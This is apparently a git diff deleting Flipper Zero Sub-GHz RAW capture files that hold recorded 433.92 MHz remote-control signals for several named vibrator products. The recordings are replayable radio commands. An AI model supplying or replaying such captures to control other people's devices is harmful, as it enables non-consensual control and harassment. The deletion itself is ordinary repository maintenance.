-978 1035 -484 1001 -476 517 -1004 1011 -480 519 -984 1009 -492 1005 -510 513 -976 1029 -490 515 -990 511 -974 517 -986 523 -978 515 -1012 483 -986 1017 -490 1013 -480 1045 -488 483 -1000 1011 -482 515 -4874 1151 -3886 481 -1008 1001 -490 519 -978 1023 -480 1005 -486 537 -984 1013 -490 513 -1004 -RAW_Data: 1003 -486 1011 -500 489 -1014 1009 -464 539 -984 523 -980 511 -978 521 -988 525 -976 507 -1012 985 -488 1041 -482 1007 -482 503 -1000 1031 -488 515 -4856 1127 -3878 523 -986 1019 -480 513 -1008 1001 -488 1015 -486 513 -978 1011 -502 519 -974 1009 -480 1045 -488 489 -1004 1007 -482 517 -986 505 -1018 499 -986 511 -1012 491 -988 509 -990 1039 -490 997 -478 1027 -480 511 -1014 989 -482 511 -4876 1159 -3880 491 -988 1003 -516 511 -978 1013 -488 1015 -486 515 -1004 1001 -492 503 -1002 1017 -462 1015 -516 481 -1014 1001 -480 529 -980 507 -1006 507 -986 503 -1008 503 -986 511 -1006 999 -488 1017 -488 1009 -480 511 -1002 1025 -486 505 -4876 1133 -3888 489 -1020 1009 -484 513 -978 1013 -488 1013 -488 515 -1006 1001 -490 505 -1008 995 -480 1035 -476 517 -986 1013 -488 513 -1008 481 -1012 503 -1002 515 -996 511 -976 523 -990 1009 -498 1015 -480 1011 -488 517 -970 1007 -510 507 -4852 1171 -3870 487 -1010 1011 -488 517 -974 1011 -480 1043 -488 525 -972 1009 -482 519 -986 1009 -504 1019 -480 515 -978 1021 -478 527 -978 507 -1012 489 -1002 515 -996 513 -970 503 -1000 1019 -482 1025 -478 1007 -486 531 -998 987 -492 517 -4870 1143 -3862 517 -1002 1011 -482 517 -998 997 -484 1035 -482 511 -972 1037 -488 517 -972 1011 -478 1033 -492 501 -998 1007 -502 487 -1010 505 -998 503 -1000 503 -988 509 -988 511 -1010 1015 -480 1011 -488 1009 -480 513 -998 1025 -486 505 -4872 1129 -3884 501 -1016 995 -480 513 -1004 999 -502 1007 -502 489 -1010 1009 -490 503 -990 1005 -516 1009 -484 489 -1028 1009 -462 515 -1008 505 -976 535 -986 513 -996 513 -976 519 -986 1013 -486 1011 -478 1029 -472 537 -990 1021 -460 515 -4874 1143 -3888 483 -1004 1007 -508 513 -978 997 -516 999 -480 511 -1008 1015 -470 535 -974 1033 -482 1003 -472 535 -1004 989 -488 513 -988 511 -1010 489 -998 517 -1000 511 -976 517 -990 1019 -500 981 -512 1011 -488 517 -974 1011 -480 513 -4888 1131 -3866 517 -1012 1011 -462 543 -982 1015 -476 1035 -482 505 -986 1009 -502 521 -976 1001 -486 1031 -480 515 -994 1007 -480 537 -982 503 -982 531 -980 507 -1006 501 -1000 505 -984 1025 -480 1003 -508 1017 -480 511 -998 1007 -482 515 -4870 1131 -3900 485 -1008 1001 -488 531 -988 997 -480 1039 -482 501 -1002 997 -488 513 -990 1039 -484 1019 -490 513 -956 1039 -482 505 -984 513 -1008 521 -974 505 -998 507 -990 515 -976 1015 -480 1043 -464 1027 -490 507 -988 1039 -450 533 -99578 133 -8750 195 -1184 65 -2674 99 -1018 65 -3354 99 -1656 99 -13590 97 -528 97 -1652 65 -2908 65 -1790 97 -66 131 -5042 67 -2854 65 -16716 -RAW_Data: 133 -66 99 -566 65 -4428 63 -6410 263 -166 67 -3248 163 -5662 65 -1586 133 -2822 131 -2180 99 -3620 65 -4168 65 -1656 97 -3404 97 -2138 65 -2614 99 -4812 97 -2578 65 -5298 65 -1610 63 -1870 131 -296 99 -990 65 -3702 65 -3358 65 -834 197 -1558 99 -302 101 -1188 99 -3458 165 -2352 65 -5412 65 -98 65 -6918 67 -1862 65 -1456 133 -1760 99 diff --git a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub b/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub deleted file mode 100644 index 485b641d0..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 363 -654 131 -3412 133 -3876 131 -330 101 -4250 133 -5402 99 -3466 129 -1750 99 -5514 99 -6984 163 -3510 97 -7036 99 -8756 161 -430 63 -4778 131 -3446 99 -1656 67 -7126 65 -4264 67 -3506 65 -6998 65 -7112 67 -1282 99 -332 65 -1658 131 -436 65 -8352 97 -3568 99 -1694 197 -3448 65 -3614 99 -7078 65 -1914 65 -1396 97 -10676 197 -8778 67 -498 65 -4682 65 -534 131 -1588 133 -930 293 -1516 97 -1426 65 -864 65 -4944 65 -4510 65 -5674 65 -2260 65 -2294 65 -4178 99 -3598 99 -4932 97 -3578 65 -1364 65 -5634 99 -1748 99 -1596 67 -1986 99 -66 99 -1520 67 -1758 99 -3446 131 -5750 99 -1654 131 -1616 67 -66 99 -1328 65 -1648 131 -5340 65 -626 131 -1900 551 -1056 949 -554 445 -1042 967 -554 451 -1046 457 -1038 945 -532 989 -516 981 -550 973 -498 489 -1012 977 -540 475 -1036 475 -1008 487 -1008 507 -1000 475 -1032 473 -1032 979 -526 977 -514 1007 -474 499 -1016 997 -516 479 -4896 1143 -3858 517 -998 1007 -480 505 -1016 1019 -472 523 -976 509 -998 997 -504 1019 -480 1019 -474 1037 -482 505 -986 1031 -488 501 -986 511 -978 555 -956 529 -982 513 -976 535 -966 1031 -486 997 -514 1003 -472 539 -978 995 -492 515 -4890 1121 -3890 515 -970 1011 -512 481 -996 1031 -490 515 -988 511 -972 1011 -488 1015 -492 1009 -508 1005 -492 503 -986 1025 -480 509 -1006 507 -988 511 -1006 487 -1008 503 -1000 505 -988 1011 -502 1017 -476 1035 -450 529 -990 1005 -514 511 -4844 1145 -3868 529 -980 1031 -474 521 -992 1009 -498 485 -1010 513 -976 1029 -490 1015 -482 1009 -480 1011 -488 523 -998 1009 -482 519 -988 515 -996 513 -972 515 -988 513 -1012 485 -1012 1011 -488 1013 -498 983 -514 481 -1022 1011 -462 519 -4876 1143 -3862 517 -1000 1009 -482 517 -984 1015 -488 513 -1006 511 -966 1029 -478 1011 -492 1013 -514 1011 -488 489 -1002 1011 -482 519 -988 513 -1006 485 -1008 503 -1006 489 -990 543 -960 1007 -488 1023 -484 1037 -480 513 -974 1011 -502 521 -4850 1161 -3878 491 -998 1017 -496 487 -1010 1007 -492 503 -986 509 -988 1037 -484 1017 -482 1007 -486 1011 -478 537 -976 1021 -480 527 -980 511 -1002 487 -1022 513 -962 543 -976 521 -988 1011 -484 1013 -480 1013 -490 519 -994 1009 -482 519 -4864 1145 -3862 511 -1010 1015 -472 505 -986 1029 -480 509 -1010 489 -996 1031 -486 1027 -482 1007 -482 1015 -488 519 -996 1007 -482 523 -990 517 -970 515 -1008 477 -1002 531 -988 501 -986 1009 -488 1019 -482 1025 -480 509 -1012 1021 -490 481 -4866 1141 -3896 515 -972 1013 -478 539 -980 1025 -488 501 -986 511 -978 1023 -482 1039 -482 1003 -508 1007 -472 -RAW_Data: 503 -1022 1005 -484 515 -972 515 -1020 487 -1000 515 -972 517 -986 511 -1010 1017 -476 1005 -522 989 -500 487 -1014 1011 -462 541 -4860 1147 -3858 517 -984 1037 -474 525 -978 1005 -522 475 -1008 521 -974 1001 -488 1023 -488 1007 -516 1001 -472 539 -980 997 -522 511 -988 511 -972 515 -1000 503 -988 507 -988 509 -1006 997 -488 1017 -490 1011 -512 511 -972 1021 -480 529 -4858 1155 -3866 501 -984 1037 -484 491 -998 1005 -506 525 -976 507 -1008 985 -490 1039 -482 1009 -478 1033 -488 515 -972 1013 -482 511 -1000 503 -988 543 -988 509 -972 503 -1014 503 -998 1009 -500 1015 -478 1001 -490 503 -998 1011 -504 521 -4844 1139 -3882 521 -976 1009 -512 507 -976 1019 -482 529 -982 513 -978 1023 -484 1033 -482 1009 -482 1013 -508 515 -970 1005 -508 513 -976 503 -998 513 -1010 519 -980 513 -980 501 -1006 997 -482 1035 -472 1029 -474 535 -988 1007 -482 513 -4862 1153 -3872 503 -986 1035 -472 503 -1000 1027 -492 513 -988 511 -972 1029 -472 1029 -478 1009 -488 1007 -512 503 -1000 997 -504 505 -998 515 -968 513 -1012 515 -984 509 -982 525 -980 1011 -490 1009 -498 1015 -476 505 -1004 1017 -490 515 -4858 1155 -3860 521 -976 1011 -480 519 -986 1011 -490 513 -1006 507 -980 1027 -486 999 -480 1041 -484 1019 -480 515 -998 1007 -482 521 -994 521 -972 513 -976 515 -986 511 -1012 487 -1006 999 -508 1017 -480 1009 -486 515 -1008 1009 -462 533 -4866 1151 -3868 511 -976 1013 -490 519 -996 1003 -474 515 -1016 503 -988 999 -516 1005 -482 1033 -488 979 -492 517 -1006 1001 -490 501 -1000 517 -998 511 -972 533 -970 531 -976 509 -988 1039 -450 1023 -490 1009 -514 511 -972 1011 -504 503 -4888 1137 -3856 511 -1010 985 -516 499 -984 1005 -486 533 -998 503 -970 1039 -482 1005 -482 1043 -488 987 -492 515 -1004 1001 -490 501 -998 517 -1000 513 -972 507 -1014 507 -984 523 -976 1005 -486 1031 -490 1015 -482 511 -1008 1011 -490 483 -4868 1163 -3878 477 -1000 1031 -478 517 -998 1007 -480 505 -1012 523 -952 1051 -478 1009 -492 1001 -514 993 -480 511 -1012 987 -512 511 -996 511 -974 517 -984 519 -998 511 -976 519 -990 1019 -498 1011 -478 1009 -492 505 -986 1025 -476 511 -4876 1141 -3878 515 -996 1009 -484 521 -996 1009 -496 485 -1010 479 -1002 1025 -486 1005 -514 1009 -484 1021 -490 479 -1026 1007 -484 491 -998 503 -1020 501 -982 511 -1010 493 -1002 513 -996 1009 -484 1021 -488 1011 -482 513 -974 1013 -522 483 -4866 1155 -3878 487 -1018 1009 -484 513 -974 1009 -502 519 -980 515 -1012 1005 -474 1029 -490 1011 -482 1007 -482 505 -1016 997 -514 497 -980 509 -1008 487 -1018 511 -992 -RAW_Data: 513 -972 515 -1000 1001 -486 1007 -516 1005 -484 523 -984 1009 -486 513 -4876 1137 -3870 521 -976 1009 -478 541 -978 1027 -484 505 -982 507 -1002 1011 -488 1015 -488 1011 -512 1003 -494 503 -1002 1007 -484 513 -1008 483 -1016 485 -1016 487 -1012 481 -1014 505 -1000 1007 -486 1007 -504 1001 -508 493 -986 1003 -518 511 -80080 65 -5404 99 -866 65 -4716 99 -4938 63 -1350 65 -426 99 -560 97 -2698 131 -1646 135 -1552 133 -3422 227 -98 65 -1660 65 -468 101 -1362 99 -7594 97 -15792 133 -5336 67 -8872 65 -696 67 -5640 65 -1428 99 -6822 99 -5350 65 -10454 97 -17744 99 -6636 133 -9118 165 -466 199 -1588 99 -3454 133 diff --git a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub b/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub deleted file mode 100644 index 8aeaeb47c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 233 -930 65 -732 165 -236 67 -1792 63 -2832 131 -5346 165 -8960 97 -502 65 -498 133 -232 97 -3434 97 -3422 163 -3352 131 -3604 65 -4192 133 -6616 97 -860 65 -98 65 -892 97 -2382 363 -360 97 -230 359 -14522 99 -5440 1290 -2806 63 -2592 131 -1678 163 -1554 165 -1698 99 -18450 65 -264 99 -8122 65 -604 65 -2492 65 -4568 65 -3560 65 -1760 97 -5194 99 -6170 67 -9686 65 -3426 97 -5166 231 -132 63 -1498 99 -5262 99 -466 65 -13444 129 -4292 65 -1018 67 -6070 97 -19472 65 -5342 65 -13856 231 -524 63 -886 163 -1626 131 -1756 99 -9946 131 -3450 199 -232 99 -12244 99 -5318 65 -1778 99 -3804 167 -6416 63 -1844 65 -332 99 -1328 131 -1912 65 -3224 133 -166 541 -1080 911 -572 439 -1064 947 -552 445 -1076 943 -540 957 -550 449 -1044 971 -510 1003 -524 483 -1008 971 -550 445 -1036 487 -1010 477 -1012 505 -1002 511 -1006 483 -1014 1011 -486 1019 -462 1011 -508 509 -1006 999 -506 503 -4848 1137 -3882 509 -1012 989 -520 479 -988 1033 -474 517 -988 1015 -488 1009 -510 507 -976 1019 -480 1025 -480 511 -1008 1015 -492 513 -988 511 -974 513 -1000 503 -986 507 -990 511 -1008 1015 -472 1019 -500 1015 -474 505 -1002 999 -522 485 -4882 1133 -3880 501 -1002 1009 -486 511 -978 1039 -474 501 -988 1039 -482 1007 -478 539 -978 1027 -486 997 -480 509 -1002 1029 -472 503 -996 537 -974 505 -984 539 -968 505 -998 529 -974 1005 -516 1009 -480 999 -504 503 -988 1039 -480 511 -4850 1145 -3880 507 -988 1041 -450 537 -986 1011 -486 515 -978 1043 -466 1029 -488 501 -984 1039 -482 997 -504 523 -982 1015 -478 507 -1008 491 -998 521 -978 513 -1010 483 -1016 483 -1000 1011 -480 1041 -472 1029 -490 513 -990 1001 -474 539 -4840 1169 -3874 487 -1014 1011 -464 521 -1012 983 -514 513 -976 1029 -480 1007 -486 515 -1004 1001 -490 999 -522 481 -1022 1009 -486 491 -1020 511 -988 479 -1006 519 -988 521 -974 513 -976 1011 -502 1017 -500 1013 -478 507 -1010 987 -516 511 -4860 1133 -3884 521 -984 1017 -478 505 -978 1049 -484 501 -980 1031 -474 1013 -488 521 -1000 1007 -486 1017 -490 515 -988 1005 -482 519 -988 513 -978 515 -1006 505 -1002 491 -988 543 -958 1039 -484 1019 -472 1019 -500 485 -1010 1007 -490 503 -4886 1137 -3872 513 -972 1031 -488 517 -974 1007 -512 505 -978 1027 -486 1001 -514 511 -970 1033 -464 1029 -488 507 -988 1007 -486 529 -1004 511 -990 511 -972 517 -986 521 -978 517 -978 1043 -488 1011 -460 1047 -478 515 -976 1027 -484 503 -4874 1127 -3904 503 -1000 987 -506 523 -980 1013 -462 541 -984 1019 -476 1001 -486 535 -988 1019 -498 979 -510 -RAW_Data: 513 -974 1023 -488 509 -986 511 -1010 489 -1020 509 -992 479 -1008 517 -988 1009 -488 1007 -480 1031 -490 505 -998 1009 -488 513 -4864 1155 -3856 517 -998 1011 -482 519 -984 1021 -500 489 -1010 1011 -486 1021 -494 485 -1008 1001 -488 1029 -488 503 -984 1007 -522 507 -976 523 -974 509 -1006 503 -998 505 -996 515 -974 1009 -516 1007 -488 1019 -460 517 -1006 1003 -490 503 -4864 1161 -3872 513 -976 1015 -488 519 -998 1007 -480 503 -1014 993 -516 995 -512 513 -976 1015 -478 1011 -490 513 -1006 1001 -488 523 -982 527 -978 513 -978 527 -972 511 -1020 511 -970 1037 -466 1005 -504 1015 -478 509 -1008 1017 -482 513 -4868 1135 -3892 507 -980 1017 -476 507 -1006 1001 -504 515 -974 1013 -480 1047 -488 483 -1002 1013 -482 1011 -490 521 -1000 1013 -482 523 -986 515 -994 509 -974 517 -986 513 -1010 485 -1014 1013 -486 1011 -496 1015 -480 515 -980 999 -516 501 -4856 1155 -3862 519 -998 1011 -484 521 -988 1009 -486 515 -978 1013 -502 1007 -504 521 -982 1011 -488 1021 -460 517 -1008 1011 -488 523 -976 513 -974 515 -988 511 -1006 521 -974 507 -1006 999 -488 1013 -490 1039 -472 507 -1010 987 -482 543 -4848 1161 -3850 515 -988 1019 -502 521 -978 1007 -486 515 -1008 983 -512 1009 -496 507 -984 1019 -476 1037 -450 535 -998 997 -482 541 -988 511 -972 505 -1018 507 -982 523 -976 505 -1002 1015 -478 1011 -492 1009 -512 515 -982 1017 -476 525 -4852 1139 -3886 515 -972 1011 -512 515 -978 997 -514 511 -994 1003 -474 1041 -472 501 -1000 1007 -504 1019 -476 507 -1006 999 -488 521 -994 515 -976 515 -1000 521 -986 487 -1012 511 -970 1019 -480 1025 -478 1041 -450 527 -988 1007 -514 511 -4862 1147 -3864 507 -986 1037 -484 491 -1000 1019 -500 487 -1010 1011 -492 1003 -482 527 -976 1003 -516 997 -490 521 -998 1011 -482 489 -1030 487 -1000 511 -976 515 -1018 487 -1000 513 -974 1013 -506 1007 -500 1013 -474 507 -1000 997 -524 489 -4872 1131 -3874 521 -990 1021 -478 511 -1010 985 -522 479 -990 1039 -480 999 -488 521 -1000 1009 -482 1019 -490 517 -994 1007 -482 521 -988 515 -990 511 -978 517 -988 525 -976 513 -1008 1007 -464 1037 -478 1021 -476 507 -998 1033 -466 513 -4884 1121 -3886 521 -988 1009 -486 513 -974 1039 -472 503 -998 1005 -506 1015 -476 507 -1004 999 -524 985 -490 513 -1006 999 -490 505 -1006 501 -984 507 -1006 503 -1000 523 -986 489 -1012 1009 -492 1019 -478 1021 -476 509 -1006 1017 -488 515 -4864 1135 -3876 505 -986 1003 -516 481 -1008 1015 -486 517 -996 1013 -482 1017 -476 517 -1004 1009 -484 1013 -488 517 -996 1005 -474 507 -1014 505 -998 513 -1004 483 -1008 -RAW_Data: 505 -1002 507 -982 1009 -488 1009 -512 1003 -492 507 -982 1021 -478 509 -4894 1109 -3898 521 -976 1013 -480 519 -988 1009 -504 489 -1012 1013 -492 1005 -480 531 -978 1007 -522 1005 -474 525 -978 1007 -490 503 -1018 511 -992 475 -1002 503 -1012 503 -1004 511 -996 1003 -474 1009 -522 987 -492 515 -1008 1005 -474 531 -87672 65 -6472 97 -66 133 -24976 65 -8372 99 -166 231 -16008 67 -794 65 -3034 99 -2808 263 -5110 65 -14500 65 -7456 133 -3362 99 -3564 65 -20380 131 -6562 165 -7846 97 -788 131 -260 165 -10128 195 -460 65 -566 65 -3582 165 -7476 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_down.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_down.sub deleted file mode 100644 index 53b755847..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_down.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 353369 -652 719 -262 221 -736 673 -282 253 -688 711 -248 253 -726 239 -696 711 -260 223 -736 705 -248 253 -692 711 -248 253 -694 709 -282 255 -694 237 -694 247 -730 239 -714 235 -734 679 -260 249 -698 715 -248 251 -7726 713 -226 275 -694 701 -284 253 -688 711 -250 253 -692 709 -250 251 -696 273 -694 721 -228 247 -702 713 -284 255 -686 713 -250 253 -688 703 -248 289 -692 239 -694 283 -688 257 -694 253 -694 709 -262 257 -676 735 -250 253 -7692 717 -258 245 -698 715 -248 289 -686 711 -252 253 -690 711 -250 253 -690 255 -692 725 -244 279 -666 733 -252 245 -700 701 -262 241 -690 733 -250 251 -716 237 -700 281 -686 273 -662 281 -692 709 -250 253 -696 707 -246 289 -7676 731 -242 279 -668 715 -248 289 -686 681 -284 253 -684 705 -248 241 -728 247 -712 717 -234 241 -728 705 -230 261 -718 681 -284 253 -686 711 -250 247 -700 269 -698 255 -690 251 -696 279 -686 703 -280 211 -730 709 -226 275 -7730 713 -238 251 -702 711 -258 247 -696 705 -282 251 -686 711 -248 253 -724 237 -694 709 -260 223 -740 673 -280 253 -690 711 -246 253 -694 709 -280 255 -688 227 -728 255 -694 245 -726 227 -728 703 -246 249 -718 679 -282 253 -94110 99 -232 131 -234 65 -630 397 -132 429 -66 1587 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_lfrec.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_lfrec.sub deleted file mode 100644 index a29885a82..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_lfrec.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 560520 -660 713 -260 245 -696 703 -284 253 -688 711 -250 253 -692 273 -694 713 -228 249 -702 737 -250 253 -690 709 -250 253 -694 707 -282 253 -696 225 -726 239 -700 263 -718 223 -724 247 -696 717 -228 275 -692 255 -7712 709 -244 255 -686 715 -240 291 -682 715 -224 241 -722 701 -280 247 -706 237 -700 717 -228 275 -696 717 -248 251 -718 679 -286 253 -686 713 -250 255 -694 273 -696 247 -690 255 -726 241 -698 263 -680 711 -284 253 -688 237 -7716 677 -282 253 -690 711 -248 253 -694 711 -246 253 -694 707 -280 255 -694 257 -696 703 -246 253 -722 677 -284 253 -688 711 -248 253 -694 709 -282 255 -690 235 -726 249 -686 257 -702 273 -706 239 -706 711 -250 251 -692 273 -7662 705 -278 253 -688 711 -240 291 -660 711 -254 243 -724 701 -242 281 -702 237 -702 711 -260 245 -698 719 -248 249 -712 677 -282 253 -686 705 -282 211 -730 241 -710 257 -692 251 -728 245 -686 255 -726 703 -246 249 -712 239 -7718 707 -276 253 -690 713 -240 255 -696 715 -276 253 -696 685 -276 253 -696 229 -744 679 -284 253 -684 681 -282 253 -688 713 -248 253 -692 711 -282 253 -690 227 -726 253 -694 281 -690 227 -728 239 -710 701 -274 253 -698 231 -93976 425 -66 229 -428 263 -294 95467 -19008 229 -66 97 -526 165 -754 823 -98 195 -66 160967 -66 239183 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_mfrec.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_mfrec.sub deleted file mode 100644 index 88a02036e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_mfrec.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 375812 -726 711 -280 213 -734 671 -260 245 -728 671 -278 247 -708 255 -696 719 -232 265 -716 673 -282 253 -688 713 -248 251 -692 711 -280 255 -694 225 -730 239 -698 265 -716 225 -726 703 -276 207 -736 239 -702 241 -7714 713 -260 247 -696 733 -252 253 -690 709 -250 253 -694 709 -248 289 -660 271 -694 711 -260 255 -706 703 -250 253 -694 709 -248 253 -696 707 -282 253 -694 227 -726 241 -700 263 -716 255 -694 701 -236 267 -688 273 -700 279 -7692 715 -228 273 -694 701 -284 253 -686 709 -250 253 -694 709 -250 253 -696 271 -694 721 -226 249 -702 737 -252 253 -692 711 -248 253 -694 709 -248 289 -660 271 -694 283 -694 237 -694 283 -694 713 -242 255 -696 257 -694 253 -7730 721 -238 255 -710 695 -238 253 -702 727 -238 253 -710 701 -274 255 -698 229 -728 679 -282 217 -710 711 -270 211 -726 711 -260 223 -740 679 -282 253 -686 255 -692 277 -680 263 -722 237 -704 711 -228 243 -726 253 -696 281 -7706 691 -258 249 -702 715 -248 251 -720 681 -282 253 -686 705 -248 241 -728 247 -712 685 -268 241 -726 701 -242 241 -728 705 -250 253 -690 711 -248 253 -696 273 -696 245 -726 237 -696 283 -692 711 -244 253 -696 259 -696 253 -95458 65 -232 99 -498 495 -66 133 -330 859 -19362 427 -132 165 -130 65 -98 559 -66 1479 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_on.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_on.sub deleted file mode 100644 index ad1cb45d3..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_on.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -68 207529 -7238 67 -5100 297 -964 67 -132 263 -100 199 -266 97 -164 297 -68 165 -134 1035 -692 679 -260 247 -700 703 -282 253 -684 711 -248 253 -724 237 -698 717 -228 251 -706 717 -246 251 -716 681 -282 253 -686 711 -282 217 -730 237 -694 283 -692 227 -732 239 -712 233 -728 681 -282 693 -226 257 -7704 713 -276 255 -694 683 -274 255 -682 719 -224 273 -694 701 -278 245 -708 237 -702 715 -260 245 -694 705 -282 253 -686 711 -250 253 -688 711 -248 253 -726 237 -694 247 -730 241 -712 237 -700 281 -686 709 -248 695 -260 247 -7692 743 -236 253 -704 713 -238 251 -702 711 -226 275 -696 713 -248 287 -684 271 -670 707 -262 241 -694 733 -248 249 -714 709 -250 253 -690 711 -250 253 -696 273 -696 249 -690 271 -696 283 -660 269 -696 711 -260 715 -240 253 -7684 721 -260 223 -704 703 -282 253 -688 711 -246 253 -692 711 -280 253 -690 259 -696 703 -246 251 -718 711 -248 253 -690 709 -246 253 -696 709 -282 253 -688 259 -700 239 -734 231 -726 237 -706 275 -680 713 -248 685 -260 249 -7738 713 -226 275 -696 705 -246 285 -686 711 -248 253 -688 711 -246 253 -728 237 -694 703 -270 241 -696 715 -284 251 -682 713 -248 253 -690 711 -246 253 -730 239 -694 283 -690 227 -726 253 -696 281 -690 675 -278 697 -228 253 -72724 163 -230 161 -132 99 -164 131 -66 65 -330 199 -66 133 -100 365 -168 927 -132 265 -66 239453 -12286 265 -224 65 -692 163 -98 99 -196 65 -166 163 -66 131 -198 163 -166 131 -164 1481 -100 35583 -6880 131 -5272 67 -298 199 -364 131 -832 197 -564 365 -362 129 -66 263 -134 597 -134 463 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_up.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_up.sub deleted file mode 100644 index a049e1cbc..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_up.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 488388 -680 711 -278 211 -732 675 -260 243 -730 687 -276 247 -708 235 -738 681 -258 249 -702 683 -272 241 -734 681 -282 213 -720 711 -280 217 -726 237 -728 245 -686 227 -732 255 -694 249 -734 237 -708 681 -280 253 -7682 715 -228 275 -694 705 -246 289 -686 709 -248 253 -692 711 -246 253 -724 225 -726 703 -248 251 -714 713 -250 253 -688 709 -248 251 -694 709 -280 255 -694 257 -698 251 -696 247 -702 269 -704 237 -702 279 -686 709 -246 253 -7716 675 -272 253 -704 711 -240 249 -702 713 -258 247 -698 719 -246 249 -708 255 -696 697 -270 239 -726 705 -248 253 -690 711 -246 253 -694 709 -280 255 -694 227 -732 239 -710 267 -700 239 -704 277 -680 259 -694 719 -232 265 -7734 711 -238 287 -668 705 -274 255 -666 729 -232 241 -722 703 -280 245 -704 237 -702 715 -260 245 -698 719 -242 277 -666 713 -248 289 -684 711 -250 253 -692 271 -698 247 -688 271 -696 283 -690 225 -730 239 -700 723 -224 273 -7742 701 -262 241 -696 727 -240 241 -698 715 -282 217 -708 711 -240 271 -696 247 -730 707 -224 275 -698 719 -246 247 -708 711 -250 253 -688 713 -246 289 -662 269 -696 283 -688 237 -694 247 -730 275 -678 273 -670 709 -272 255 -44598 99 -1058 65 -568 97 -370 233 -830 265 -366 429 -332 131 -100 67 -268 131 -100 82263 -12548 97 -200 99 -1058 65 -296 97 -468 163 -296 459 -98 329 -198 197 -100 797 -198 424877 -11420 65 -626 265 -400 97 -66 265 -266 165 -1096 131 -166 331 -858 251007 -12610 199 -166 97 -1128 431 -500 199 -266 367 -66 165 -200 235 -66 301 -264 265 -266 295 -66 131 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_1.sub deleted file mode 100644 index 2006a6732..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1869 -66 97 -66 2265 -100 1905 -100 663 -66 331 -234 1089 -98 1155 291 1721 -66 1431 -236 695 -232 393 -68 791 -100 197 -68 1821 -98 2535 -98 531 -100 929 -98 795 -234 231 -100 1225 -132 1091 -98 1363 -132 267 -100 567 -66 229 -100 97 -132 625 -98 97 -66 165 -130 329 -164 631 -66 667 -100 1227 -66 2289 -66 455 -98 1477 -98 2079 -166 1165 -134 731 -100 399 -134 2193 -68 1263 -198 631 -164 163 -164 1345 -66 331 -134 197 -234 1223 -68 1627 -68 697 -100 2021 -100 465 -100 1759 -68 2783 -66 529 -130 887 -100 623 -132 627 -66 1465 -100 99 -66 927 -132 161 -66 163 -66 393 -132 427 -64 627 -98 523 -66 2517 -68 4083 -134 331 -68 65 -134 133 -134 629 -66 263 -98 951 -132 2147 -66 435 -66 399 -66 333 -98 1887 -132 133 -132 831 -66 1495 -66 1057 -100 165 -166 99 -166 363 -68 431 -66 365 -198 799 -100 855 -98 4079 -66 331 -66 1515 -100 563 -66 167 -66 1391 -66 2287 -100 2819 -66 2551 -100 2491 -132 199 -100 899 -134 65 -100 263 -66 133 -98 167 -66 897 -68 1089 -98 195 -64 99 -66 1851 -100 99 -134 367 -98 231 -66 65 -98 491 -64 2447 -100 231 -68 1127 -132 1889 -132 361 -200 297 -166 897 -98 1021 -66 465 -100 133 -132 1479 